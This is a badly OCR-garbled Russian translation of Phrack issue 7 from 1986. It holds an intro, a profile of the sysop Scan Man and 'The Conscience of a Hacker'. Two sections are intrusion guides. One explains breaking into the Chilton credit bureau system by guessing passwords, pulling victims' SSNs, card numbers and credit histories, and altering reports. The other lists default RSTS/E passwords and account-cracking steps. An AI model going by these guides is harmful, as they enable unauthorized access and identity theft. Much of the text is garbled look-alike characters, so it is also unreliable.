Phrack RU issue 007

Pycckas Bepcusi Phrack, Beinyck 007. IMonHbIM TEKCT cTaTen ¢ KOAOM M Tabnuuamu.

Tewmbl Boinycka: Unix/Linux, BSD, Windows NT n agMuHucTpupoBaHue cuctem; kynbTypa Phrack, HoBocTun
cueHsbl, loopback, prophile n xakepckue maHUdEeCTbI; CNPaBOYHUKK, MHOEKCHI, abbpeBnaTypbl N apxmBHbIE
mMaTtepuansbl.

Matepuanel Bbinycka: Intro / Index; Phrack Pro-Phile IV: Scan Man; The Conscience of a Hacker; Banom
kpeantHon cuctembl Chilton Corporation Credimatic; MNporpammupoBanne RSTS/E. Yactb 1: Maponu;
Volume One, Issue 7, Phile 6 of 10; TposiHckne koHu B UNIX; Phrack World News VI, yactb 1; Phrack
World News VI, yactb 2; Phrack World News VI, yactb 3.

BonbLue KpyTbIx MaTepuarnoB B MOEM TernerpamM kaHane @grogrigs


https://t.me/grogrigs

Intro / Index

Dara: 25 ceHTa6ps 1986 roga
ABTtop: Taran King, sysop of Metal Shop Private

[obpo noxanosaTb B Phrack VII. A pag cHoBa MMeTb BO3MOXHOCTb co3fgaBaTb YTO-TO nogobHoe. U3
BonbHMLBI 3TO BbINO AOBOMBHO TPYAHO.

Anyway, 9 xoten 6bl OTBECTU Bac B CTOPOHY U MOrOBOPUTL C TEMU, Yy KOO €CTb pasHble misconceptions
about Phrack Inc. Bo-nepsbix, Phrack Inc. He nuweTtcs mHown, Knight Lightning unu Cheap Shades. Mol
merely collect the philes and distribute them in a group. Ctateun BHyTpM siBRsAoTCA sheer responsibility of
the author. Ecnn Bam He HpaBsaTcs philes, talk to the author, not any of us, unless it says in the phile that
we wrote it, please.

Phrack World News — merely a sub-article of Phrack Inc., n ero nuwet Knight Lightning. Bce comments
about his ever-controversial PWN crnegyet agpecoBaTb eMy, U Mbl Obiny Obl MpU3HaTENbHbI, €CNK Obl Bbl
He condemned the whole publication just for a few articles.

Tenepb anyone can write for Phrack Inc. Ecnu y Bac ecTtb article, koTopbii Bl xoTenu 6bl published, nnu
story for Phrack World News, get in touch with one of us, Knight Lightning, Taran King and Cheap Shades.
As long as it fits the guidelines, it should make it in.

Ecnn Bbl 6611 ogHMM 13 MHOrMX ragging on Phrack Inc., please, write a phile and see if you can improve
our status with your help. Thanks for your time. Later on.

Taran King
Sysop of Metal Shop Private
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Phrack Pro-Phile IV: Scan Man

ABTOp U cocTtaBuTenb: Taran King
Data: 28 nioHa 1986 roga

Hobpo noxanoeaTb B Phrack Pro-Phile IV. Phrack Pro-Phile cosgaH, 4ToObl NPpUHOCUTL BaMm, USErs,
information about old or highly important/controversial people. B aTom mecsue 9 npeactaBnsdl Bam
opHoro u3 most influential users of our times and of days of old:

Scan Man

Scan Man — sysop of Pirate 80, P-80, telecom enthusiasts' bulletin board in Charleston, West Virginia,
area 304.

Personal

Handle: Scan Man
Call him: Scan Man
Past handles: None
Handle origin: Thought it up while writing a scanning program
Date of birth: 8/30/53
Age at current date: 32 years old
Height: 6'1l
Weight: About 225 lbs.
Eye color: Green
Hair color: Dark blond to light brown
Computers:
2 TRS Model I's, one of which the BBS is run on
Tandy Model 1000, IBM compatible
132 Column Dot Matrix
132 Column Daisy Wheel
Model 100 Portable
TRS Color Computer
Backup 80 Column Dot Matrix Printer
Sysop/Co-Sysop of: Pirate 80 (P-80)

Scan Man started out in the BBS world about seven years ago, korga Bnepbie nony4yun modem: 300
baud auto-answer/auto-dial Micro-Connection Modem, made by Micro Peripheral Corp., with tape input
and output. Pirate 80 went up four years ago this Halloween. Torga oH coctosin us TRS Model |, three

40-track single-sided double-density floppies, and a 300 baud modem, koTopbIi Aepxancsa OO0 LeCTH
MecsLEeB Ha3ag.

At the time of arising, board 6bina nogHaTa 13 interest in phreaking, hacking and pirating. From the first six
months to now Scan Man had gone through six BBS programs and is quite satisfied with the current one.

First, he started with a pirated version of TBBS 1.2, then an upgrade to 1.3, pirated again. At the same
time a hard drive was added after a number of disk drive changes and modifications.

Scan Man, through his BBS, which was in the first five all phreak/hack BBSes ever to go up and is the
oldest phreak board in the country, has met or talked to what he considers anybody who is anybody.

At 11 years old he found a few old phones, took them apart and got them working. That was when his
interest in telecom arose. He was led into the phreak world when he became aware that he could phreak,
from articles he read such as blue box articles. At that time BBSes and personal computers did not exist.

The first board he called that involved phreaking was the old Pirate's Harbor. An anonymous message
posted there had a few alternate long distance service codes posted. He was very excited that he had
stumbled upon this thrill, and he spent the first year or so calling around, finding exactly what everyone



was into. From there forward he started manufacturing various devices with The Researcher. They worked
together and learned together.

Because so much information posted was inaccurate, they did this to make it accurate and found out what
the real stories were. The more memorable phreak boards that he was on included Plovernet and all
pre-Plovernet, L.O.D., AT&T Phone Center, Pirates of Puget Sound, as well as a few others he couldn't
remember offhand because it was so long ago.

Scan Man works as a computer consultant, systems analyst. He checks security as well as
enhancements, improvements and debugging. He has been doing this for about a year now.

Scan Man's hack/phreak interests are unknown to his employers. He has attended various things,
including sneaking into a seminar on the DMS-250 Digital Switching System and, before that, TelePub'86.
He has also sneaked into other telecom/computer security seminars. He starts one project at a time and
does things step by step. He is very concentrated in his projects.

Scan Man frowns upon groups and says:

If you're any damn good at all, you're going to get a reputation whether you like it or not.

Interests

Telecommunications: modeming, phreaking, hacking, satellite scanning
White water rafting

Snow skiing

Dancing: he used to be a roller skating dance/disco instructor
Boating

Scan Man's favorite things

Foods: Junk food, or an expensive restaurant once a week or so
Movies: He's a movie buff, and goes regularly, by himself even
Animals: He's an animal lover

Pyrotechnics: They manufacture various fireworks as a hobby

Most memorable experiences

The Newsweek Incident with Richard Sandza
Last year's New Years' Phreak Party

Some people to mention

The Researcher: for helping him out in starting out with phreak/hacking
The Coco Wizard: helped a lot with the BBS and the hardware on the computer
King Blotto, Mr. Gucci, and The Scanner: people he could do without

Scan Man dislikes the bickering and fighting between the phone phreaks of modern day because they're
just fighting to climb the social ladder. He dislikes current phone phreaks because they're not in it to learn
and are only in it to gain a big reputation.

The old phreaks were those who wanted to be there because they were students of the network and had a
true desire to learn. It has become an ego/power-trip of modern teenage America. They're only in it to



impress other people, and write philes just to get the reputation rather than to write it for the information in
it, and collect them only to say their collection is sizable. He feels that credit cards are voodoo because it
seems to be what people and sysops get busted for the most.

I hope you enjoyed this phile. Look forward to more Phrack Pro-Philes in the near future. And now for the
regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be
computer geeks?

90% of the phreaks, yes. 10% or less are in it to learn. He respects that small percentage.

Thank you for your time, Scan Man.

Taran King
Sysop of Metal Shop Private



The Conscience of a Hacker

ABTop: The Mentor
Data: 8 aHBaps 1986 roga

Cne,qyrou.l,ee ObINI0 HanNMcaHo BCKOpe nocrie Moero apecra.

Eweé oaHoro cerogHsi nonmanu, o6 3ToM BO BCeX raseTax. Teenager Arrested in Computer Crime
Scandal, Hacker Arrested after Bank Tampering...

YépTtoBbl aetn. Bce oHM oguHakoBble.

Ho Bbl, B cBoen three-piece psychology u technobrain us 1950-x, korga-Hubyab cmoTpenu 3a rnasa
hacker? Bbl koraa-Hubyab 3agaBanvcb BOMPOCOM, YTO UM OBWXET, Kakne curbl ero coopMmpoBanu, 4to
MOTFJ10 €ro BbINENUTL?

A hacker, Bongurte B MO MuUp...

Mot MUp HauMHaeTcs CO WKOMbl... A yMHee GonbLUMHCTBA ApYrMX AeTel, 3Ta ApsiHb, KOTOPOW Hac yyar,
MHe CKy4Ha...

YépTtoB underachiever. Bce oHM ognHaKoBLIE.

A B junior high unu high school. A yxe B nsaTHaguatbii pa3 cnywato, kak teachers obbACHAT, Kak
cokpaLlaTtb Apobb. A noHumato 3To.

No, Ms. Smith, I didn't show my work. I did it in my head...
YépToB pebéHok. HaBepHoe, cnucan. Bce oHM oguHakoBble.

CerogHsa s caenan oTkpbiTve. A Hawén komnbtoTep. MNogoxante-ka, aTo kpyTo. OH AenaeT To, YTO s XOuy.
Ecnun oH owmnbaeTcsa, To notomy, 4to s screwed it up. He noTomy, 4TO OH MeHs He NBUT...

Mnn yyBCTBYET Yrpo3y OT MeHsI...

Wnun cuntaet meHsa smart ass...

Wnn He nobuT npenogaBaTth 1 HE AOMKEH 34€Cb HAXOANUTLCS. ..

YépTtoB pebéHok. Bcé, 4yTo oH AenaeT, 3To urpaeT B urpbl. Bce oHn ognHakoseble.

A NOTOM 3TO CMY4YUnNoCh... ABepb OTKpbINnack B Mup... rushing through the phone line like heroin through an
addict's veins, electronic pulse sent out, sought a refuge from the day-to-day incompetencies... a board is
found.

This is it... this is where I belong...

A 3Hal BCex 30ecCb... AaXe €Cnu HUKorga ux He BCTpe4asn, HMKorga ¢ HMMU HEe rosopwusi, BO3SMOXHO,
HuKorga GonbLue nx He yCnblLly... £ 3Halo Bac BCexX...

YépToB pebéHok. CHOBa 3aHMMaeT TenedoHHy0 NuHU0. Bce oHn oanHakoBseble...

MoxeTe nocTtaBuTb BCE, YTO Y HAC €CTb: Mbl BCE OAMHAKOBbIE... Hac B Wkone KopMunu AeTCKuM rniope ¢
NOXKKW, Korga Mbl ronoganu no steak... Te Kyckn msica, KOTopble Bbl BCE € NO3BOMUMN MPOCKOMb3HYTh,
6binn pre-chewed and tasteless. Hag Hamn gomuHupoBanu sadists unm Hac ignored by the apathetic.
HemHorue, y koro 6bino 4to teaching, found us willing pupils, Ho 3T HeMHorne — kak drops of water in the
desert.

3710 Tenepb Haw mup... world of the electron and the switch, beauty of the baud. Mbl ucnonssyem service
already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you
call us criminals. Mbl nccnegyem... and you call us criminals. Mbl seek after knowledge... and you call us
criminals. Mol exist without skin color, without nationality, without religious bias... and you call us criminals.



Bbl cTpouTe atomic bombs, wage wars, murder, cheat and lie to us and try to make us believe it's for our
own good, yet we're the criminals.

Oa, a criminal. Moé crime — curiosity. Moé crime — judging people by what they say and think, not what
they look like. Moé crime — outsmarting you, something that you will never forgive me for.

A hacker, n ato mon manifesto. You may stop this individual, but you can't stop us all... after all, we're all
alike.

+++The Mentor+++
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ABTop: Ryche

370 nonHasa Bepcusi matepuana o Ba3nomMe Chilton. B ceTu rynsiet apyras Bepcusi — meHee nonHas. Ecnu
Bbl €€ rae-Hnbyab BCTpeTUTe, NonpocuTe cucona yaanutb eé n 3aMeHUTb 3TOMN.

Chilton Corp. — kpynHasi KpeauTHas koMnaHus, pacrnonoxeHHas Ha Greenville Ave. B [annace, wrat
Texac. VIMeHHO 3g0ecb MHOrvMe opraHusauuun, B KOTOpble Bbl MOAAaéTe 3asdBKM Ha KpeguT, MpoBepsoT
KpeauTHble UCTOPMM Bac U BaluMx coceden. B oTnnumne ot apyrnx kpeguTHbIX cuctem Bpoge TRW un CBI,
3Ta COOEPXMUT 3anncu O MIOAsX C XOpOoLlen KpeaUTHON UCTOPUMEN M He 3aTupaeT YyacTb HOMEpPOB CamMux
KapT. Bcs MHdhopmauusa nonHas u BKIIOYaET NOSiHblIe HOMepa KapT, a Takke 6aHK-OMUTEHT, IMMUT, CYMMbI
nnartexew, NPOCPOYKM, HOMEP COLMANIbHOIO CTPaxoBaHUSA, TEKYLLIMIA U MPEXHUIA agpeca, a Takke Tekyllee
N npexHee MecTo paboTbl. BC&, 4To HyXXHO Ana JocTyna K 3Tow MHpopMauum, — MOSTHOE UMS U aapec
BaLLEN «KepTBbI».

Kak Banomatb Chilton

Cuctema Chilton Haxogutca B Hannace, npsmon dial-up (300/1200) — 214-783-6868. lNepeBeaute
TepMUHan B NonyayniekcHbIi pexum n xmute Return npumepHo 10 pas, noka cucrtema He Ha4YHET 3XOM
oTpaxaTb HaxaTtud. CyuiecTtByeT KOMaHga Ang noaknodeHus Kk E-mail, kotopyto MOXHO BBECTM O TOroO,
Kak HayaTb Haxumatb Return. Haxumasa Return, Bbl TeM cambiM yka3biBaeTe, YTO XOTUTE MOMNactb B
KpeautHyto cuctemy. Npo E-mail g pacckasbiBaTh He Byay — Tam HeT Hu4ero ocobo MHTepecHoro. Ecnu
BCE e XO0TuTe Tyga 3anesTb, nonpobynte BapmaHTbl BUaa /x** (x = A, B, C n 1.4.). Becb BBOg — TONbBKO
B BEpXHEM peructpe. Wtak, Bo3Bpallasicb K KpPeAWTHOW 4acTu: Mocne 3axo-oTBeTa Ha Return MoxHO
BBECTM DTS Ctrl-S, €Cnu O4YeHb HYXHO y3HaTb AaTy U Bpemd, nubo cpasy nepexoautb K geny. Nog
«4enom» s uMeto B BuAy:

SIP/4char. Ctrl-s

970 KomaHga Bxoga no napomnto (Sign In Password), 3a koTopon cnegyeT 4-CUMBOJIbHbIN
OykBEHHO-UN(POBOM Napoflb — BCE B BEPXHEM PENMCTpe, Kak A yxe rosopurn. besonacHo MOXHO
OWMBUTBECA ABaXdbl — HWKTO W He y3HaeT, 4YTo Bbl Tam Obinu. lNocne TpeTben HeyaayHoM NOoMbITKM Ha
NpUHTEPE KOMMNaHWM pacrnevyaTbiBaeTcs coodbueHne «Login Attempt Failed». MmeTb Takyto pacnevatky Bo
BpeMs MOMbITKA B3rioMa — 3aTesi He U3 YMHbIX, MOCKOMbKY Tam Bcerga KTo-To ecTb. Ecnu aBaxapl
owunbnuce — xmute Ctrl-D, nepesBaHuBaiiTe, cHoBa Aenamte 3xo U npobyinTe cHoBa. Tak MOXHO
NPOAOIMKaTb CKOMbKO YrogHO: HUKaKUX MHbIX CPEACTB MOHUTOPWHIA, KPOME YMOMSHYTOro npuHTEepa, Tam
HeT. [ockonbKy NpuHTEp cpabaTbiBaeT TONMbLKO NPW HEBEPHOM BXOAE, MOXHO C YBEPEHHOCTbIO CKasaTb,
YTO PUCK OBHapYXeHNs MUHUMAarEeH NNy OTCYTCTBYET BOBCE. TeM HE MeHee PeKOMEHAYI0 3aXoauTb Yepes
3KcTeHaep, nockonbky y Chilton ectb goctyn Kk obopyaoBaHuIO OSi TPacCMpPOBKM 3BOHKOB. 1o moBoay
napornewn: HacKoMNbKO MHE U3BECTHO, CyLLEeCTBYeT 3 Krnacca C pa3HbiMU NPUBUMErUSMUA:

1. NMonb3oBaTenbCckuii / COTPYOHMK



2. INoCTOSAHHbIN / cekpeTapCKun
3. BBoa-BbiBOA

MepBbI KNacc — TONbKO AMS MPOCMOTPa M MOMyYeHUs KpeauTHbIX OT4YéToB. [laponu aToro knacca
cropatoT Kaxgoe BockpeceHbe okono 23:00. HoBble AeNCTBYIOT C NOHeAerNbHMKa N0 BOCKPECHbLIN BeYep.
HecmoTpss Ha TO 4TO Maponb OEeNCTBMTENEH Hedesnto, YUCIo UCMOMb30BaHWi orpaHuydeHo. KpeguTHas
cucTemMa [OCTyMHa TONbkO B cnepytowee Bpemsa: nH—nT: 8:00-23:00, c6: 8:00-21:00, Bc: 8:00-18:00.
BTopon knacc aHanorm4eH nepBOMy, 3a TE€M WUCKMOYEHVMEM, YTO Takue Maposin MEHSIOTCH TOMbKO npwu
yxode COTpyOHMKa M3 KOMNaHuu. M3HavanbHO OHWM CO3[aBanuvcb AN cekpeTapen, 4Tobbl Te Mormnm
onepaTMBHO MONYYUTb AOCTYM, HE CMYCKasCb KaXayrt HEAerno B KPeAWUTHbIA OTAEN 3a HOBbIM Maponem.
TpeTun knacc g Tak U He nony4yun... noka. OH NO3BOMSIET N3MEHATb KPpeaUTHbIE OTYETBI HA CPOK B OAMH
mMecsu. B Hayane mecsaua cuncteMa oObHOBNSIET BCe OTYETHI M OTKATbIBAET BalLM M3MeHeHus. [lenas 3To,
cTouT 0basaTenbHO 3axoauTb Yepes Ameepter — Bedb Bbl BMELUMBAETECH B YblO-TO M3Hb. Kak Tonbko
B3MTOMaHHbIN Naponb OyAeT NpuHAT, cMcTema BbiBeAeT npeaynpexaeHue:

** A *FWARNING! UNAUTHORIZED ACCESS OF THIS SYSTEM IS A FEDERAL CRIME!***x*

Wnn uto-To B aTOM poge. Nocne atoro Bam GygeT npeanoxeHo BBECTU kKomaHAy. 34eck Bbl BoibnpaeTe
pexum: «In House» (BHyTpeHHUI), «System» (cuctemHbin) unu «Reporting» (0T4ETHBLIN). Pexum «In
House» paét oTyé€Tbl no noasm, npoxueawowmum B [dannace/PopT-YapTe M npunerawLmx OKpyrax.
Pexum «System» oxBaTbiBaeT cocegHue wTaThbi:

Maccauycetc, UnnuHonc, Jlynsmana, Muccypu, ApkaHsac, Heto-Mekcuko, Konopago, Apu3oHa, 4acTb
Hbto-[)Xepcu 1 eLé HecKonbKo, KOTopble 51 HE NOMHI0. Bcero oxesaTbiBaeTcsa 11 wraToB.

Pexnm «Reporting» npegHasHadeH Onis NonyyYeHMst pacnevyaTok OTYETOB MO KOHKPETHOMY YEeNloBeKy U
TpebyeT BBOAA aBTOPM3ALMOHHOIO HOMepa KomnaHvuu. [loaToMy B AaHHOM mMartepuane orpaHuyumcs
pexumamm «In House» n «System». [MoarotToBbTe faHHbIE BALLEW XXEPTBbI U BBEAUTE HYXXHbIA PEXUM:

In House: I/NH Ctrl-s (Dallas/Ft. Worth 214)
System: I/S Ctrl-s (A1l other NPA's)

lNocne aToro MoXxHo BbITArMBaTL 3anucn. Beegure:

I/N-Last Name/F-First Name/L-Street Name/Z-Zip Code/** Ctrl-s

Ecnn Ha3BaHue ynuupbl HEM3BECTHO, UCMOMb3YNTE «A» — cucTeMa 3anycTuT rnobanbHbIA NOMCK, NoKa He
HanaéT nmeHa, coenagaruwme nnu xota 6l Ha 80% noxoxue Ha BBeaéHHoe. ZIP-koa HeobsizaTeneH n
MOXeT ObITb OMyLLEH, OAHAKO OH CYLLECTBEHHO CyXaeT obnactb novcka. Korga cuctema HaugéT nmsi, oHa
MOKaXEeT: MMsl, HOMEp COLUManbHOro CTPaxOBaHWUSA, TEKYLLMA agpec, MecTo paboTbl, a TakkKe MpexHue
OaHHble Npu ux Hanuuuu. Cpasy nocne MMEeHM Bbl YBUAUTE WOEHTUMMKALNOHHBLIA HOMEpP, NMPUMEPHO
Takoro Bmaa: 100-xxxxx. 3anuinuTe ero — 3TO Ball KNOY K nonyyeHuto oT4éTOB. [locne Toro Kak
cucTema BbiBEOET BCE, UTO Y HEE eCTb Ha 3TOro YerioBeka, NPULLNO BpeMsi Y3HaTb MOMHYK KapTUHY.
BeeouTe:

N/100-xxxxx/M/D Ctrl-s

Cuctema otobpas3nT BCIO €ro KpeguTHy McTopuio. [pyn nepBoHa4vanbHOM MONyyYeHUn naeHtTudukarTopa
Bbl MO 3aMeTUTb ABa BapnaHTa UMEHU — HanpuMep, C pasHbiM OTYECTBOM UIM C ONeYaTKon B agpece.
TaHunTe o6a: aTO NPOCTO owmbKa TOro, KTO BHOCUN 3anucu. PekomeHayo 3axBaTbiBaTb BbIBOA, YTOObI
notom obpaiatbcs kK HeMy 6e3 HeoOXOANMMOCTM CHOBA 3aX04UTb B CUCTEMY.

CywecTtByeT eLlé oamH cnocob nonactb B Chilton — yepes Tymnet, HO agpeca s He 3Hato, 4a U CMbicna B
atom mano. Ecnvu Bam BApyr monagyTtcA ums M agpec COTpygHuMKa KomnaHunm — 3abyabTe nNpo uaeto
BblTaWUTb ero AaHHble: Chilton He xpaHuT 3anucu o ceomx coTpyaHukax. OgnH BecbMma AerbHbIN COBET,
MpPOo3BYy4YaBLUMI HE TaK AaBHO, — OTKPbITb TeNedOHHbIN CNPaBOYHKK U Hayrag BblibupaTtb nmeHa.

HecmoTpsi Ha TO YTO HOMepa KpeAUTHbIX KapT 0ToOpaXalTcs, KpeaUTHOe MOLLEHHUYECTBO GrOKMpyeTCs
NpocTbiM (haKTOM: CPOKW AeiCTBMS KapT He MokasbiBaloTcs. Hu ogHa komnaHus, genatowas peanbHbli



3anpoc MO YernoBeKy, He HyxaaeTcsa B 3ToW MHdopMauuu, a BO M3bexaHne MOLUEHHUYECKOrO WIu
HeHaanexawlero UCNonb3OBaHUA [aHHbIX CPOKM Oblnyv uCKNtoYeHbl. JIloBOMbITHBIM (hakT: B KakoW-TO
MOMEHT WMCTOPMU KOMMaHuM B cucTeme Obin Hebonblion dnar, 0603Ha4YaBWIMM Hanuume 3anvcu o
HapkoTukax. Ero ybpanu kak He OTHOCsLLeecs K 3ag4adYyamM CUCTEMbl — OH MOSIBUNCS NULb NOTOMY, YTO
Borg Warner, komnanusi-enageney Chilton, xotena coBatb HOC B MIMYHYIO XM3Hb Mogen. Y KomnbloTepa
10-NMHENHbIN poTapu, Tak YTO eCnn TONbKO OAHOBPEMEHHO He MO3BOHAT 11 YenoBek, LWaHCbl HapBaTbCS
Ha 3aHATYH JIMHWUIO NPAKTUYECKN HyNEeBbIE.

OTKa3 OT OTBETCTBEHHOCTU

MHdopmaumsa B aTom channe HoCUT yd4ebHbIV XxapakTep M npegHa3HayvyeHa Ans O3HaKOMMEHUs C AaHHOW
CMCTEMON 1 NpuHUMNamm eé paboTbl. OHa He Npu3biBaeT K MOLLEHHNYECKOMY MCMOMNb30BaHMNI0 KPEAUTHbIX
KapT W1 MHbIM AeNCTBUSIM, KOTOPblE MOTYT ObITb pacLieHeHbl kak He3aKOHHbIE UMM aMoparibHble. ABTOP,
a TaKke pefakTopbl, U3gaTenu 1 pacnpocTpaHUTeny A4aHHOrO MHAOPMAaLMOHHOIO BloNneTeHss He HecyT
HMKaKoW OTBETCTBEHHOCTY 3a AENCTBUS UM HAMEPEHUS YiTaTenen aToro martepvana.

<>>>> Ryche <<<<>




NMporpammupoBaHmne RSTS/E. YacTb 1: Naponum

ABTop: The Seker
(c) 22 mas 1986 e.

MNMpeaucnosue

OTOT OOKYMEHT — nepBbld B cepun MaTtepuanoB o6 onepaumoHHon cucteme RSTS/E. Bce dainbl
OCHOBaHbl Ha Bepcumn 8.0, NMOCKOMbKYy OHa MNPaKTUYECKM MNOMHOCTBIO COBMECTMMAa C npeablayLiumm
penusamu. MNMpn HeobxoanMOCTU A ykasan pasnuuna mexagy V8.x n VI.x.

OtpenbHas 6narogapHoctb High Evolutionary 3a To, YTo NoATONKHYN MeHs HanucaTb 3Ty dannbl; Night
Stalker — 3a 06MeH nHgopmaumen; n Bcem npounm RSTS-xakepam, BHECLUMM CBOW BKNaa TEM UMW UHbIM
obpasom.

UcTopus

OnepaumnoHHasa cuctema RSTS/E (Resource System Time Sharing / Environment) Gbina paspaboTtaHa
ana cepum mMuHun-komnetotepos PDP/11 npoussoactea DEC (Digital Equipment Corporation). MNMpu eé
CO30aHvMM BO rMnaBy yrmna CTaBurnocb yAoOCTBO MCMOMb30BaHWUS — KakK AN Monb3oBaTtens, Tak u ans
xakepa. V/IMEHHO MO3TOMy B CUCTEME OCTanoCb Hemasno YnylleHHbIX OWWOOK, Aenawrlwmx eé Becbma
ysi3BuMON. B Gonee no3gHunx Bepcusix, ocobeHHo cepumn 9.x, 6e3onacHOCTb Naposnew bbina CyLwecTBEHHO
yny4lleHa u ctana HagéxHee, HO OLMOBOK No-nNpexHeMy xBaTaeT, YTobbl ObINo Yepes YTo NponesThb.

Bxoa B cucremy

BkpaTue: HaguTe AeicTBYOWNIA HOMEp 1 NodKnouMTech. Haxmute c/r (Bo3BpaT KapeTkun) HECKOSbKO pas3
Wnun BBEOUTE:

HELLO

Cuctema pomkHa maeHTMdMUMpoBaTth cebs, oTobpasms Bnagenoua, Bepcuto, gaTy u Bpems. 3aTem
3anpocuT HOMep akkayHTa 1 napornb.

AkkayHTbl nmetoT cdopmat PPN (Project Program Number) — gBa uncna ot 0 go 254, pasgenéHHbixX
3ansTON UM KOCOW YepTon (Hanpumep, 3, 45 unn 27/248). MNpuBnnernpoBaHHble akkayHThbl, K KOTOPbIM
Bbl, HAOEHCb, CTPEMUTECH, BCE HaunHaoTca ¢ 1. [03TOMy HauMHanTe B3nambiBaTb akkayHThbl 1, x.

Maponn umetoT gnvHy ot 1 40 6 CUMBOSIOB M coaepXaT TONbKo ByKkBbl U LUMGPLI, Tak 4TO 06 OCTanbHbIX
cMmBOnax GecrnokouTbCs He HyxHO. B cuctemax V9.x maponu Moryt gocturaTb 8 CUMBOJIOB, €CIU
onepaTop M3MEHWN ANIMHY MO ymonyaHuio. Ho aTo crnyyaetca pegko — 6OMbLIMHCTBO OMNeEpaTopoB
CNULLKOM FTEHUBBI.

PacnpocTtpaHéHHble naponu:

SYSLIB



SYSGEN
SYSCON
SYSMGR
SYSOPR
SYSTEM
OPRATR
RSTS
DECNET
GAMES
YYYYYY
XXXXXX
XYXYXY
DATA
RICH
XXX
AAA

MHorue 13 Hux, No cnyxam, ABNAIOTCHA 3HA4YEHUSIMM MO YMon4yaHuio. XOTS Ha caMoM Jene s gymalo, YTo
HaCTOALLMI Naposib MO YMONYaHUIO (€CNN TAaKOBOW €CTb!) — 3TO:

RSTSE

Kpome Toro, akkayHTbl C naponem:

27272727277

OOCTYNHbI TOJIBKO onepaTtopam.

He 3abbiBanTte npoboBaTb MMeHa, Mapku aBToMoOunen, npegmeTbl, Ha3BaHWe KOMMaHuu (B pasHbiX
Bapuauusix) U T.4. bonbwuHCTBO niogen BbIGMpalOT Naponu, Tak UM MHaye CBA3aHHbIe C WX MUYHOW
XM3HblO. [oTpaTbTe HEMHOrO BPEMEHU U yrajanTe...

Bbl BHyTpU!

Kak TOnMbkO Bam ygacTcs B3fioMaTb AEUCTBYHOLWMIA Mapoflb — MPUBUNENMPOBAHHLIA UMW HET, —
peKOMEHAYI0 CHayana BbIICHUTb, KTO cenyac B cuctemMe. [ns aToro JoctatouHo BBECTU:

SY

OTO nokakeT BCex BOLUEALUX Monb3oBaTenei, YemM OHW 3aHUMAaloTCsl B AaHHbIA MOMEHT, UX HOMep
3aaHus, NoAKIYEHbl OHU UMM OTCOEAMHEHDI, U eLlé Ky4dy BCcero. Bac nHtepecyeT gpyroi nonb3oBaTensb,
BOLUEALLINIA MO TEM e akkayHTOM. Ecnu Bbl 0GHapyxuTe Takoro — BbIRAMTE U NEPE3BOHUTE NO3xe. ATO
NPOASIUT >KU3Hb Ballero akkayHTa M He Bbl30BET MoJO3peHwuid y cuconos. MNMomHWTE: Kaxpasi cuctema
BeOéT XXypHan Bawux OEWUCTBUIA, U €Cnin nof OOHMM aKkayHTOM HeoOHOKpPaTHO 3axOAsAT [ABa YerioBeka,
CMCOMbI YAAnAT akkayHT UM CMEHAT Naporb.

Ecnn Bcé B nopsigke — Bbl BOJIbHbI AenaTb YTO yrogHo. YTtobbl BbIBECTU CNMUCOK (PalsioB B CBOEM
NpoCcTpaHCTBEe, BBEAUTE:

DIR
unu 4Tobbl yBUAETL BCE (halrbl B CUCTEME:
DIR (*,*)
MPUMEYAHUE: [ ] MOXHO uUcnonb3oBaTb BMECTO ( ) Mpu paboTe ¢ dhannamu.

* 9BMNSIETCS NOACTAHOBOYHbLIM CUMBOSIOM B cucteme RSTS n mMoxeT ucnonb3oBaTbCqd BMECTO HOMEPOB
aKKayHTOB Mpu Noucke KOHKpeTHbIX pannos. [oBops 0 novcke ¢annos: 4Tobbl 3anycTuTb dain, BBeauTe:

RUN filename.filetype

roe filename — pann, KOTOPbIN HYXXHO 3aMyCTUTb, a £iletype — €ro paclumpeHue.



OkcnepumeHTupyinte! MNpobynTte BcE, u4TOo 3axotmte. Ecnn Bam korga-HMOyab NoHagobuTcs MOMOLLb,
npocTo BBEAUTE:

HELP
UuTaiiTe dpaiinbl BHyTpU cnpaBku. OHM o4eHb NoAPOGHbI U, i rapaHTMpYHo, MOMOTYT Bam C YeM YrodHO.

ELé oaHO: HECKONBKO NOME3HbIX ynpasndarnwmnx CMMBOJIOB!

~C [IpepelBaeT Tekyllee IelcTBUE
“R [IoBTOpPSAET MOCJIENHIKI BBEIEHHYI CTPOKY

~X Ecomu ~C He mnoMmoraeT, MOXHO MNOnpoBoBaTb 3TO

~0 OcTaHaBJIMBAET I[OTOK TeKCTa 0e3 MNpepelBaHMsa TeKyler GyHKUMM
AT [lokaselBaeT CTATyC M BpeMsa paboTH TepMMHaJa

~U YmanseT CTPOKY, BBOIVMMYK B IAaHHBIM MOMEHT

“H YnansaeT CUMBOJIB

~S [lepemada OTKJIIOYEHA

~Q [lepenaya BKJIOUEHA

Mony4yeHne npuBunerun

Ecnu B3nomaTb NPUBMIErMPOBaHHLIN aKKayHT He YAanocb — He naHukyite. ECTb elé HecKomnbko
cnoco6oB nosy4nTth Npaea cucona. OHu paGoTatloT He Bcerga, Ho nonpoboBaTh CTOWT.

CucTeMHbIN XypHan

Ha mHorux cuctemax RSTS/E go Bepcum V9.0 ogmH akkayHT npegHasHayeH Anis XpaHEeHUss CUCTEMHOIO
XypHarna — 3anucu Bcero, 4YTo enaeTe Bbl U Bce ocTanbHble. Kak npaBuno, 3To akkayHT 1,101, 1, 2 nnm
0, 1, HO CTOMT YTOYHUTL Yepe3 Nouck B ampekTopun. Beegute:

DIR (*,*)OPSER.LOG

nnn ecrnn HM4yero He HawnocChb:

DIR (*,*)SYSLOG.*
nnu:

Hangute dann ¢ NoOXoXMM MMEHEM U 3anulinTe akkayHT, B KOTOPOM OH HaxoauTcsa. Tenepb Bbl 3HaeTe,
rae XpaHuTCsa CUCTEMHbIV XXypHan — BbIROQUTE:

BYE

3aTem BOWOMTE CHOBA, UCMOSb3ys HaldeHHbI akkayHT. B kayecTBe napons nonpobyiTe ogHO ©3
crieayoLLmnx:

OPSER
OPSLOG
LOG
OoPS
O0PS
OPRATR
SYSLOG
SYSTEM

OTo pacnpocTpaHéHHble Maponu Ans Takoro akkayHTa. Ecnum Hu oguH He nogowén — panblie 6es
noackasok He 06ONTUCh, pa3Be YTo NpUayMaeTe YTO-TO Camu.

CucrtemMHble 6arn



Mpwn co3gaHnn onepaunoHHbIX CUCTEM TakKoW CNOXHOCTU, kak RSTS/E, HensbexxHo NosBnsitoTCst oLnbKM B
